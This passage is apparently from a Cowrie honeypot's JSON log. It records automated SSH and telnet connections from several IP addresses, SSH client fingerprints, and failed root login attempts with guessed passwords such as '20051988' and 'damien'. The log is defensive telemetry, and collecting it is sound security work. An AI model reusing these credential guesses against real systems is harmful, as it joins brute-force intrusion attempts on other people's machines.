-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:20.791235Z","src_ip":"94.159.98.239","session":"e159be022db7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20051988","message":"login attempt [root/20051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:21.613105Z","src_ip":"94.159.98.239","session":"e159be022db7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:22.803151Z","src_ip":"94.159.98.239","session":"e159be022db7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":51264,"dst_ip":"159.203.135.109","dst_port":22,"session":"2388dc5e0413","protocol":"ssh","message":"New connection: 103.172.78.219:51264 (159.203.135.109:22) [session: 2388dc5e0413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:29.432814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:29.437618Z","src_ip":"103.172.78.219","session":"2388dc5e0413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:29.697516Z","src_ip":"103.172.78.219","session":"2388dc5e0413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"damien","message":"login attempt [root/damien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:30.475864Z","src_ip":"103.172.78.219","session":"2388dc5e0413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:31.734516Z","src_ip":"103.172.78.219","session":"2388dc5e0413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48770,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea0375e64308","protocol":"telnet","message":"New connection: 135.148.14.151:48770 (159.203.135.109:23) [session: ea0375e64308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:36.703734Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7fad4812b4c","protocol":"telnet","message":"New connection: 135.148.14.151:49680 (159.203.135.109:23) [session: e7fad4812b4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:38.804709Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52490,"dst_ip":"159.203.135.109","dst_port":23,"session":"1926dd2c0882","protocol":"telnet","message":"New connection: 135.148.14.151:52490 (159.203.135.109:23) [session: 1926dd2c0882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:44.253399Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54290,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeffd8388b3d","protocol":"telnet","message":"New connection: 135.148.14.151:54290 (159.203.135.109:23) [session: aeffd8388b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:15:55.722718Z"}
{"eventid":"cowrie.session.closed","duration":36.93662714958191,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:13.640270Z","src_ip":"135.148.14.151","session":"ea0375e64308","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"23ddb0620047","protocol":"telnet","message":"New connection: 135.148.14.151:36236 (159.203.135.109:23) [session: 23ddb0620047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:18.985605Z"}
{"eventid":"cowrie.session.closed","duration":35.71719169616699,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:19.970490Z","src_ip":"135.148.14.151","session":"1926dd2c0882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.870972871780396,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:21.675465Z","src_ip":"135.148.14.151","session":"e7fad4812b4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7c723d8a379","protocol":"telnet","message":"New connection: 135.148.14.151:41578 (159.203.135.109:23) [session: d7c723d8a379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:24.303982Z"}
{"eventid":"cowrie.session.closed","duration":32.536877155303955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:28.259442Z","src_ip":"135.148.14.151","session":"aeffd8388b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.873554944992065,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:16:53.859043Z","src_ip":"135.148.14.151","session":"23ddb0620047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51228,"dst_ip":"159.203.135.109","dst_port":23,"session":"986393124f2b","protocol":"telnet","message":"New connection: 135.148.14.151:51228 (159.203.135.109:23) [session: 986393124f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:01.259535Z"}
{"eventid":"cowrie.session.closed","duration":37.39831733703613,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:01.702194Z","src_ip":"135.148.14.151","session":"d7c723d8a379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":46904,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2c3a9ab4467","protocol":"ssh","message":"New connection: 185.236.22.41:46904 (159.203.135.109:22) [session: a2c3a9ab4467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:09.617126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:09.622740Z","src_ip":"185.236.22.41","session":"a2c3a9ab4467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:09.782777Z","src_ip":"185.236.22.41","session":"a2c3a9ab4467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfymrf","message":"login attempt [root/dfymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:10.149122Z","src_ip":"185.236.22.41","session":"a2c3a9ab4467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:11.279215Z","src_ip":"185.236.22.41","session":"a2c3a9ab4467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":60462,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ae4fd840801","protocol":"telnet","message":"New connection: 135.148.14.151:60462 (159.203.135.109:23) [session: 9ae4fd840801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:14.830353Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":53584,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f39fa2bc73","protocol":"ssh","message":"New connection: 103.149.170.125:53584 (10.17.0.5:22) [session: f4f39fa2bc73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:39.881487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:39.886675Z","src_ip":"103.149.170.125","session":"f4f39fa2bc73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:40.145079Z","src_ip":"103.149.170.125","session":"f4f39fa2bc73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777z","message":"login attempt [root/7777777z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:40.921790Z","src_ip":"103.149.170.125","session":"f4f39fa2bc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:42.183518Z","src_ip":"103.149.170.125","session":"f4f39fa2bc73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.189268112182617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:46.019482Z","src_ip":"135.148.14.151","session":"9ae4fd840801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49254,"dst_ip":"159.203.135.109","dst_port":23,"session":"938910dcf448","protocol":"telnet","message":"New connection: 135.148.14.151:49254 (159.203.135.109:23) [session: 938910dcf448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:17:46.812891Z"}
{"eventid":"cowrie.session.closed","duration":60.438331842422485,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:01.697775Z","src_ip":"135.148.14.151","session":"986393124f2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58182,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f30636caa4","protocol":"telnet","message":"New connection: 135.148.14.151:58182 (159.203.135.109:23) [session: 07f30636caa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:05.431226Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59436,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d075034e65a","protocol":"telnet","message":"New connection: 135.148.14.151:59436 (159.203.135.109:23) [session: 7d075034e65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:09.202605Z"}
{"eventid":"cowrie.session.closed","duration":36.66166019439697,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:23.474453Z","src_ip":"135.148.14.151","session":"938910dcf448","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":37696,"dst_ip":"159.203.135.109","dst_port":22,"session":"60939071e8aa","protocol":"ssh","message":"New connection: 147.45.197.250:37696 (159.203.135.109:22) [session: 60939071e8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:31.104339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:31.109365Z","src_ip":"147.45.197.250","session":"60939071e8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:31.199530Z","src_ip":"147.45.197.250","session":"60939071e8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10041991","message":"login attempt [root/10041991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:31.468689Z","src_ip":"147.45.197.250","session":"60939071e8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:32.561012Z","src_ip":"147.45.197.250","session":"60939071e8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.126418352127075,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:42.557509Z","src_ip":"135.148.14.151","session":"07f30636caa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43555665016174,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:44.638036Z","src_ip":"135.148.14.151","session":"7d075034e65a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":51080,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a50f571d54","protocol":"telnet","message":"New connection: 135.148.14.151:51080 (159.203.135.109:23) [session: 03a50f571d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:52.115739Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53700,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebdda2488f44","protocol":"telnet","message":"New connection: 135.148.14.151:53700 (159.203.135.109:23) [session: ebdda2488f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:18:56.656126Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33740,"dst_ip":"10.17.0.5","dst_port":22,"session":"6127613c19e6","protocol":"ssh","message":"New connection: 103.82.132.16:33740 (10.17.0.5:22) [session: 6127613c19e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:24.790653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:24.795681Z","src_ip":"103.82.132.16","session":"6127613c19e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:25.047098Z","src_ip":"103.82.132.16","session":"6127613c19e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051988","message":"login attempt [root/25051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:25.799914Z","src_ip":"103.82.132.16","session":"6127613c19e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:27.054491Z","src_ip":"103.82.132.16","session":"6127613c19e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.13224506378174,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:30.247870Z","src_ip":"135.148.14.151","session":"03a50f571d54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76198101043701,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:31.418000Z","src_ip":"135.148.14.151","session":"ebdda2488f44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7298c2797560","protocol":"telnet","message":"New connection: 135.148.14.151:46558 (159.203.135.109:23) [session: 7298c2797560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:19:43.796764Z"}
{"eventid":"cowrie.session.closed","duration":36.03538465499878,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:19.832014Z","src_ip":"135.148.14.151","session":"7298c2797560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39816,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e24742e40f","protocol":"telnet","message":"New connection: 135.148.14.151:39816 (159.203.135.109:23) [session: 91e24742e40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T19:20:32.931329Z"}
